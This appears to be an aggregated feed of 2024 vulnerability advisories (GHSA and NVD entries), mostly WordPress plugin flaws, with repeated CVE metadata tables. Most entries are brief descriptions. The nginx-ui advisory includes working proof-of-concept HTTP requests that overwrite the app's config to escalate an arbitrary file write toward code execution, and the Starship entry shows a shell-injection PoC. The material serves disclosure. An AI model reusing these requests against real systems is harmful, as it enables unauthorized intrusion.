Recent vulnerabilities
| ID | Description |
|---|---|
| ghsa-7p5j-4xc4-hcj7 (github) | xdg-desktop-portal-hyprland (aka an XDG Desktop Portal backend for Hyprland) before 1.3.3 allows OS command execution, e.g., because single quotes are not used when sending a list of app IDs and titles via the environment. |
| ghsa-x9mx-96mw-6xv3 (github) | The Aramex Shipping WooCommerce plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 1.1.21. This is due the plugin not preventing direct access to the composer-setup.php file which also has display_errors enabled. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-x5gp-c87c-r58g (github) | The Admin Post Navigation plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 2.1. This is due to the plugin utilizing bootstrap and leaving test files with display_errors on. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-v44v-38h3-f3qv (github) | The ParityPress – Parity Pricing with Discount Rules plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'Discount Text' in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. |
| ghsa-m6gw-g872-xp52 (github) | The Media.net Ads Manager plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation and missing capability check in the 'sendMail' function in all versions up to, and including, 2.10.13. This makes it possible for authenticated attackers, with subscriber-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible. The vulnerability is only exploitable if anyone has ever logged in through the API. |
| ghsa-jvq3-2554-r9j9 (github) | The Ultimate WordPress Auction Plugin plugin for WordPress is vulnerable to unauthorized email creation and sending due to a missing capability check on the 'send_auction_email_callback' and 'resend_auction_email_callback' functions in all versions up to, and including, 4.2.6. This makes it possible for unauthenticated attackers to craft emails that include links and send to any email address. |
| ghsa-fm7q-p3x8-9hqq (github) | The Master Currency WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's currencyconverterform shortcode in all versions up to, and including, 1.1.61 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
| ghsa-f8m3-qc44-r23g (github) | The Add Admin JavaScript plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 2.0. This is due to the plugin utilizing bootstrap and leaving test files with display_errors on. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-f5jw-3p9p-f4qw (github) | The Intelligence plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 1.4.0. This is due the plugin not preventing direct access to the /vendor/levelten/intel/realtime/index.php file and display_errors being enabled. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-f29g-w54c-9qf4 (github) | The Add Admin CSS plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 2.0.1. This is due to the plugin utilizing bootstrap and leaving test files with display_errors on. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-9fv8-rgr8-rxqj (github) | The Flipbox Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.5 via deserialization of untrusted input in the flipbox_builder_Flipbox_ShortCode function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. |
| ghsa-5mgm-fgw9-3465 (github) | The Admin Trim Interface plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 3.5.1. This is due to the plugin utilizing bootstrap and leaving test files with display_errors on. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-39xp-frq9-qcrw (github) | The One Click Close Comments plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 2.7.1. This is due to the plugin utilizing bootstrap and leaving test files with display_errors on. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website. |
| ghsa-7xgh-c82h-rvjj (github) | The Tutor LMS – Migration Tool plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the tutor_lp_export_xml function in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers to export courses, including private and password protected courses. |
| ghsa-27mm-4rvr-4q6h (github) | The Tutor LMS – Migration Tool plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the tutor_import_from_xml function in all versions up to, and including, 2.2.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to import courses. |
| ghsa-269x-w34w-f85m (github) | The IgnitionDeck Crowdfunding Platform plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.9.8. This is due to missing capability checks on various functions called via AJAX actions in the ~/classes/class-idf-wizard.php file. This makes it possible for authenticated attackers, with subscriber access or higher, to execute various AJAX actions. This includes actions to change the permalink structure, plugin settings and others. |
| ghsa-vg6w-jr5m-86c8 (github) | Out of bounds memory access in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) |
| ghsa-mpp7-xq5h-6fjh (github) | An issue was discovered in Couchbase Server before 7.2.5 and 7.6.0 before 7.6.1. It does not ensure that credentials are negotiated with the Key-Value (KV) service using SCRAM-SHA when remote link encryption is configured for Half-Secure. |
| ghsa-242w-qmqc-xqm3 (github) | Insecure Permissions vulnerability in Tencent wechat v.8.0.37 allows an attacker to escalate privileges via the web-view component. |
| ghsa-vx24-x4mv-vwr5 (github) | ## Description Starship is a cross-shell prompt. Starting in version 1.0.0 and prior to version 1.20.0, undocumented and unpredictable shell expansion and/or quoting rules make it easily to accidentally cause shell injection when using custom commands with starship in bash. Version 1.20.0 fixes the vulnerability. ### PoC Have some custom command which prints out information from a potentially untrusted/unverified source. ``` [custom.git_commit_name] command = 'git show -s --format="%<(25,mtrunc)%s"' style = "italic" when = true ``` ### Impact This issue only affects users with custom commands, so the scope is limited, and without knowledge of others' commands, it could be hard to successfully target someone. |
| ghsa-qr38-h96j-2j3w (github) | An issue was discovered in SaltStack Salt through 3002. Sending crafted web requests to the Salt API, with the SSH client enabled, can result in shell injection. |
| ghsa-xvq9-4vpv-227m (github) | ### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted  ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts. |
| ghsa-g92j-qhmh-64v2 (github) | ### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251 |
| ghsa-vfwh-gvf6-mff8 (github) | In Silverpeas Core <= 6.3.5, in Mes Agendas, a user can create new events and add them to their calendar. Additionally, users can invite others from the same domain, including administrators, to these events. A standard user can inject an XSS payload into the "Titre" and "Description" fields when creating an event and then add the administrator or any user to the event. When the invited user (victim) views their own profile, the payload will be executed on their side, even if they do not click on the event. |
| ghsa-wmx7-pw49-88jx (github) | Craft CMS 5 allows reuse of TOTP tokens multiple times within the validity period. ### Impact An attacker is able to re-submit a valid TOTP token to establish an authenticated session. This requires that the attacker has knowledge of the victim's credentials. A TOTP token can be used multiple times to establish an authenticated session. [RFC 6238](https://www.rfc-editor.org/rfc/rfc6238) insists that an OTP must not be used more than once. > The verifier MUST NOT accept the second attempt of the OTP after the successful validation has been issued for the first OTP, which ensures one-time only use of an OTP. The OWASP Application Security Verification Standard v4.0.3 (ASVS) [reiterates this property with requirement 2.8.4](https://github.com/OWASP/ASVS/blob/v4.0.3/4.0/en/0x11-V2-Authentication.md#v28-one-time-verifier). > Verify that time-based OTP can be used only once within the validity period. It should also be noted that the validity period of an TOTP token is 2 minutes. This makes a successful brute force attack more likely, since the four tokens are valid at the same time. ### Patches This has been patched in Craft 5.2.3. References: https://github.com/sbaresearch/advisories/tree/public/2024/SBA-ADV 2024061701_CraftCMS_TOTP_Valid_After_Use https://github.com/craftcms/cms/releases/tag/5.2.3 |
| ghsa-rm86-h44c-2r2m (github) | In OpenStack Nova before 27.4.1, 28 before 28.2.1, and 29 before 29.1.1, by supplying a raw format image that is actually a crafted QCOW2 image with a backing file path or VMDK flat image with a descriptor file path, an authenticated user may convince systems to return a copy of the referenced file's contents from the server, resulting in unauthorized access to potentially sensitive data. All Nova deployments are affected. NOTE: this issue exists because of an incomplete fix for CVE-2022-47951 and CVE-2024-32498. |
| ghsa-x72p-g37q-4xr9 (github) | In SFTPGo 2.6.2, the JWT implementation lacks certain security measures, such as using JWT ID (JTI) claims, nonces, and proper expiration and invalidation mechanisms. |
| ghsa-ggpm-9qfx-mhwg (github) | Lack of authentication in NPM's package @evershop/evershop before version 1.0.0-rc.9, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints. |
| ghsa-5357-c2jx-v7qh (github) | lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.) |
| ghsa-5vgj-ggm4-fg62 (github) | ### Impact Documentation generated with `pdoc --math` linked to JavaScript files from polyfill.io. The polyfill.io CDN has been sold and now serves malicious code. Users who produce documentation with math mode should update immediately. All other users are unaffected. ### Patches This issue has been fixed in pdoc 14.5.1. ### References https://github.com/mitmproxy/pdoc/pull/703 https://sansec.io/research/polyfill-supply-chain-attack ### Timeline - **[2024-06-25]** https://sansec.io/research/polyfill-supply-chain-attack is published. - **[2024-06-25 20:54 UTC]** Issue reported to the pdoc project by @adhintz. - **[2024-06-25 21:33 UTC]** Patched version released. - **[2024-06-25 21:37 UTC]** Security advisory published. - **[2024-06-25 23:49 UTC]** CVE-2024-38526 assigned by GitHub. |
| ID | CVSS Base Score | Description | Vendor | Product | Publish Date | Update Date |
|---|---|---|---|---|---|---|
| cve-2024-6458 (NVD) | WooCommerce Product Table Lite <= 3.5.1 - Missing Authorization to (Subscriber+) Stored Cross-Site Scripting |
wcproducttable |
WooCommerce Product Table Lite |
2024-07-27T08:36:37.479Z | 2024-07-27T08:36:37.479Z | |
| cve-2024-6569 (NVD) | Campaign Monitor for WordPress <= 2.8.15 - Unauthenticated Full Path Disclosure |
vibhorchhabra |
Campaign Monitor for WordPress |
2024-07-27T08:36:22.863Z | 2024-07-27T08:36:22.863Z | |
| cve-2024-5969 (NVD) | AIomatic - Automatic AI Content Writer <= 2.0.5 - Unauthenticated Arbitrary Email Sending |
CodeRevolution |
Aiomatic - Automatic AI Content Writer & Editor, GPT-3 & GPT-4, ChatGPT ChatBot & AI Toolkit |
2024-07-27T07:33:46.658Z | 2024-07-27T07:33:46.658Z | |
| cve-2024-42029 (NVD) | N/A | xdg-desktop-portal-hyprland (aka an XDG Desktop Portal backend for Hyprland) before 1.3.3 allows OS command execution, e.g., because single quotes are not used when sending a list of app IDs and titles via the environment. |
n/a |
n/a |
2024-07-27T00:00:00 | 2024-07-27T04:01:39.904930 |
| cve-2024-6546 (NVD) | One Click Close Comments <= 2.7.1 - Unauthenticated Full Path Disclosure |
coffee2code |
One Click Close Comments |
2024-07-27T01:51:07.293Z | 2024-07-27T01:51:07.293Z | |
| cve-2024-6661 (NVD) | ParityPress <= 1.0.0 - Authenticated (Administrator+) Stored Cross-Site Scripting |
paritydiscounts |
ParityPress – Parity Pricing with Discount Rules |
2024-07-27T01:51:06.339Z | 2024-07-27T01:51:06.339Z | |
| cve-2024-6634 (NVD) | Master Currency WP <= 1.1.61 - Authenticated (Contributor+) Stored Cross-Site Scripting via Currency Converter Form Shortcode |
wibergsweb |
Master Currency WP |
2024-07-27T01:51:06.817Z | 2024-07-27T01:51:06.817Z | |
| cve-2024-6566 (NVD) | Aramex Shipping WooCommerce <= 1.1.21 - Unauthenticated Full Path Disclosure |
aramex |
Aramex Shipping WooCommerce |
2024-07-27T01:51:05.835Z | 2024-07-27T01:51:05.835Z | |
| cve-2024-6549 (NVD) | Admin Post Navigation <= 2.1 - Unauthenticated Full Path Disclosure |
coffee2code |
Admin Post Navigation |
2024-07-27T01:51:05.368Z | 2024-07-27T01:51:05.368Z | |
| cve-2024-6573 (NVD) | Intelligence <= 1.4.0 - Unauthenticated Full Path Disclosure |
tomdude |
Intelligence |
2024-07-27T01:51:04.852Z | 2024-07-27T01:51:04.852Z | |
| cve-2024-6545 (NVD) | Admin Trim Interface <= 3.5.1 - Unauthenticated Full Path Disclosure |
coffee2code |
Admin Trim Interface |
2024-07-27T01:51:04.328Z | 2024-07-27T01:51:04.328Z | |
| cve-2024-6591 (NVD) | Ultimate WordPress Auction Plugin <= 4.2.6 - Missing Authorization to Unauthenticated Email Creation |
nitesh_singh |
Ultimate WordPress Auction Plugin |
2024-07-27T01:51:03.390Z | 2024-07-27T01:51:03.390Z | |
| cve-2024-6431 (NVD) | Media.net Ads Manager <= 2.10.13 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload |
mnetadmanager |
Media.net Ads Manager |
2024-07-27T01:51:03.869Z | 2024-07-27T01:51:03.869Z | |
| cve-2024-6548 (NVD) | Add Admin JavaScript <= 2.0 - Unauthenticated Full Path Dislcosure |
coffee2code |
Add Admin JavaScript |
2024-07-27T01:51:02.903Z | 2024-07-27T01:51:02.903Z | |
| cve-2024-6152 (NVD) | Flipbox Builder <= 1.5 - Authenticated (Contributor+) PHP Object Injection |
wptexture |
Flipbox Builder |
2024-07-27T01:51:02.425Z | 2024-07-27T01:51:02.425Z | |
| cve-2024-1804 (NVD) | Tutor LMS – Migration Tool <= 2.2.0 - Missing Authorization in tutor_import_from_xml |
themeum |
Tutor LMS – Migration Tool |
2024-07-27T01:51:01.443Z | 2024-07-27T01:51:01.443Z | |
| cve-2024-1798 (NVD) | Tutor LMS – Migration Tool <= 2.2.0 - Missing Authorization in tutor_lp_export_xml |
themeum |
Tutor LMS – Migration Tool |
2024-07-27T01:51:01.946Z | 2024-07-27T01:51:01.946Z | |
| cve-2024-6547 (NVD) | Add Admin CSS <= 2.0.1 - Unauthenticated Full Path Dislcosure |
coffee2code |
Add Admin CSS |
2024-07-27T01:51:00.340Z | 2024-07-27T01:51:00.340Z | |
| cve-2024-4410 (NVD) | IgnitionDeck Crowdfunding Platform <= 1.9.8 - Missing Authorization |
ignitionwp |
IgnitionDeck Crowdfunding Platform |
2024-07-27T01:51:00.925Z | 2024-07-27T01:51:00.925Z | |
| cve-2024-37034 (NVD) | N/A | An issue was discovered in Couchbase Server before 7.2.5 and 7.6.0 before 7.6.1. It does not ensure that credentials are negotiated with the Key-Value (KV) service using SCRAM-SHA when remote link encryption is configured for Half-Secure. |
n/a |
n/a |
2024-07-26T00:00:00 | 2024-07-26T21:24:41.121637 |
| cve-2024-40433 (NVD) | N/A | Insecure Permissions vulnerability in Tencent wechat v.8.0.37 allows an attacker to escalate privileges via the web-view component. |
n/a |
n/a |
2024-07-26T00:00:00 | 2024-07-26T21:17:55.863242 |
| cve-2024-31971 (NVD) | N/A | **UNSUPPORTED WHEN ASSIGNED** Multiple stored cross-site scripting (XSS) vulnerabilities on AdTran NetVanta 3120 18.01.01.00.E devices allow remote attackers to inject arbitrary JavaScript, as demonstrated by /mainPassword.html, /processIdentity.html, /public.html, /dhcp.html, /private.html, /hostname.html, /connectivity.html, /NetworkMonitor.html, /trafficMonitoringConfig.html, and /wizardMain.html. |
n/a |
n/a |
2024-07-24T00:00:00 | 2024-07-26T21:07:17.815492 |
| cve-2024-28093 (NVD) | N/A | **UNSUPPORTED WHEN ASSIGNED** The TELNET service of AdTran NetVanta 3120 18.01.01.00.E devices is enabled by default, and has default credentials for a root-level account. |
n/a |
n/a |
2024-03-26T00:00:00 | 2024-07-26T21:06:15.336868 |
| cve-2024-41815 (NVD) | Starship vulnerable to shell injection via undocumented, unpredictable shell expansion in custom commands |
starship |
starship |
2024-07-26T21:01:48.605Z | 2024-07-26T21:01:48.605Z | |
| cve-2024-41120 (NVD) | streamlit-geospatial blind SSRF in pages/9_🔲_Vector_Data_Visualization.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:57:31.466Z | 2024-07-26T20:57:31.466Z | |
| cve-2024-41119 (NVD) | streamlit-geospatial remote code execution in pages/8_🏜️_Raster_Data_Visualization.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:54:49.052Z | 2024-07-26T20:54:49.052Z | |
| cve-2024-41118 (NVD) | streamlit-geospatial blind SSRF in pages/7_📦_Web_Map_Service.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:52:46.182Z | 2024-07-26T20:52:46.182Z | |
| cve-2024-41117 (NVD) | Remote code execution in streamlit geospatial in pages/10_🌍_Earth_Engine_Datasets.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:49:44.689Z | 2024-07-26T20:49:44.689Z | |
| cve-2024-6750 (NVD) | Social Auto Poster <= 5.3.14 - Missing Authorization via Multiple Functions |
WPWeb |
Social Auto Poster |
2024-07-24T02:33:55.116Z | 2024-07-26T20:40:10.245Z | |
| cve-2024-20909 (NVD) | Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Audit Vault and Database Firewall accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N). |
Oracle Corporation |
Audit Vault and Database Firewall |
2024-02-17T01:50:08.455Z | 2024-07-26T20:38:18.158Z |
| ID | CVSS Base Score | Description | Vendor | Product | Publish Date | Update Date |
|---|---|---|---|---|---|---|
| cve-2024-5969 (NVD) | AIomatic - Automatic AI Content Writer <= 2.0.5 - Unauthenticated Arbitrary Email Sending |
CodeRevolution |
Aiomatic - Automatic AI Content Writer & Editor, GPT-3 & GPT-4, ChatGPT ChatBot & AI Toolkit |
2024-07-27T07:33:46.658Z | 2024-07-27T07:33:46.658Z | |
| cve-2024-42029 (NVD) | N/A | xdg-desktop-portal-hyprland (aka an XDG Desktop Portal backend for Hyprland) before 1.3.3 allows OS command execution, e.g., because single quotes are not used when sending a list of app IDs and titles via the environment. |
n/a |
n/a |
2024-07-27T00:00:00 | 2024-07-27T04:01:39.904930 |
| cve-2024-6661 (NVD) | ParityPress <= 1.0.0 - Authenticated (Administrator+) Stored Cross-Site Scripting |
paritydiscounts |
ParityPress – Parity Pricing with Discount Rules |
2024-07-27T01:51:06.339Z | 2024-07-27T01:51:06.339Z | |
| cve-2024-6634 (NVD) | Master Currency WP <= 1.1.61 - Authenticated (Contributor+) Stored Cross-Site Scripting via Currency Converter Form Shortcode |
wibergsweb |
Master Currency WP |
2024-07-27T01:51:06.817Z | 2024-07-27T01:51:06.817Z | |
| cve-2024-6591 (NVD) | Ultimate WordPress Auction Plugin <= 4.2.6 - Missing Authorization to Unauthenticated Email Creation |
nitesh_singh |
Ultimate WordPress Auction Plugin |
2024-07-27T01:51:03.390Z | 2024-07-27T01:51:03.390Z | |
| cve-2024-6573 (NVD) | Intelligence <= 1.4.0 - Unauthenticated Full Path Disclosure |
tomdude |
Intelligence |
2024-07-27T01:51:04.852Z | 2024-07-27T01:51:04.852Z | |
| cve-2024-6566 (NVD) | Aramex Shipping WooCommerce <= 1.1.21 - Unauthenticated Full Path Disclosure |
aramex |
Aramex Shipping WooCommerce |
2024-07-27T01:51:05.835Z | 2024-07-27T01:51:05.835Z | |
| cve-2024-6549 (NVD) | Admin Post Navigation <= 2.1 - Unauthenticated Full Path Disclosure |
coffee2code |
Admin Post Navigation |
2024-07-27T01:51:05.368Z | 2024-07-27T01:51:05.368Z | |
| cve-2024-6548 (NVD) | Add Admin JavaScript <= 2.0 - Unauthenticated Full Path Dislcosure |
coffee2code |
Add Admin JavaScript |
2024-07-27T01:51:02.903Z | 2024-07-27T01:51:02.903Z | |
| cve-2024-6547 (NVD) | Add Admin CSS <= 2.0.1 - Unauthenticated Full Path Dislcosure |
coffee2code |
Add Admin CSS |
2024-07-27T01:51:00.340Z | 2024-07-27T01:51:00.340Z | |
| cve-2024-6546 (NVD) | One Click Close Comments <= 2.7.1 - Unauthenticated Full Path Disclosure |
coffee2code |
One Click Close Comments |
2024-07-27T01:51:07.293Z | 2024-07-27T01:51:07.293Z | |
| cve-2024-6545 (NVD) | Admin Trim Interface <= 3.5.1 - Unauthenticated Full Path Disclosure |
coffee2code |
Admin Trim Interface |
2024-07-27T01:51:04.328Z | 2024-07-27T01:51:04.328Z | |
| cve-2024-6431 (NVD) | Media.net Ads Manager <= 2.10.13 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload |
mnetadmanager |
Media.net Ads Manager |
2024-07-27T01:51:03.869Z | 2024-07-27T01:51:03.869Z | |
| cve-2024-6152 (NVD) | Flipbox Builder <= 1.5 - Authenticated (Contributor+) PHP Object Injection |
wptexture |
Flipbox Builder |
2024-07-27T01:51:02.425Z | 2024-07-27T01:51:02.425Z | |
| cve-2024-4410 (NVD) | IgnitionDeck Crowdfunding Platform <= 1.9.8 - Missing Authorization |
ignitionwp |
IgnitionDeck Crowdfunding Platform |
2024-07-27T01:51:00.925Z | 2024-07-27T01:51:00.925Z | |
| cve-2024-1804 (NVD) | Tutor LMS – Migration Tool <= 2.2.0 - Missing Authorization in tutor_import_from_xml |
themeum |
Tutor LMS – Migration Tool |
2024-07-27T01:51:01.443Z | 2024-07-27T01:51:01.443Z | |
| cve-2024-1798 (NVD) | Tutor LMS – Migration Tool <= 2.2.0 - Missing Authorization in tutor_lp_export_xml |
themeum |
Tutor LMS – Migration Tool |
2024-07-27T01:51:01.946Z | 2024-07-27T01:51:01.946Z | |
| cve-2024-40433 (NVD) | N/A | Insecure Permissions vulnerability in Tencent wechat v.8.0.37 allows an attacker to escalate privileges via the web-view component. |
n/a |
n/a |
2024-07-26T00:00:00 | 2024-07-26T21:17:55.863242 |
| cve-2024-37034 (NVD) | N/A | An issue was discovered in Couchbase Server before 7.2.5 and 7.6.0 before 7.6.1. It does not ensure that credentials are negotiated with the Key-Value (KV) service using SCRAM-SHA when remote link encryption is configured for Half-Secure. |
n/a |
n/a |
2024-07-26T00:00:00 | 2024-07-26T21:24:41.121637 |
| cve-2024-0519 (NVD) | N/A | Out of bounds memory access in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) |
Google |
Chrome |
2024-01-16T21:14:49.601Z | 2024-01-16T21:14:49.601Z |
| cve-2023-50782 (NVD) | CVSS-v3.1: 7.5 | Python-cryptography: bleichenbacher timing oracle attack against rsa decryption - incomplete fix for cve-2020-25659 |
Red Hat Red Hat Red Hat Red Hat Red Hat Red Hat Red Hat |
Red Hat Ansible Automation Platform 2 Red Hat Enterprise Linux 7 Red Hat Enterprise Linux 8 Red Hat Enterprise Linux 8 Red Hat Enterprise Linux 9 Red Hat Satellite 6 Red Hat Update Infrastructure 4 for Cloud Providers |
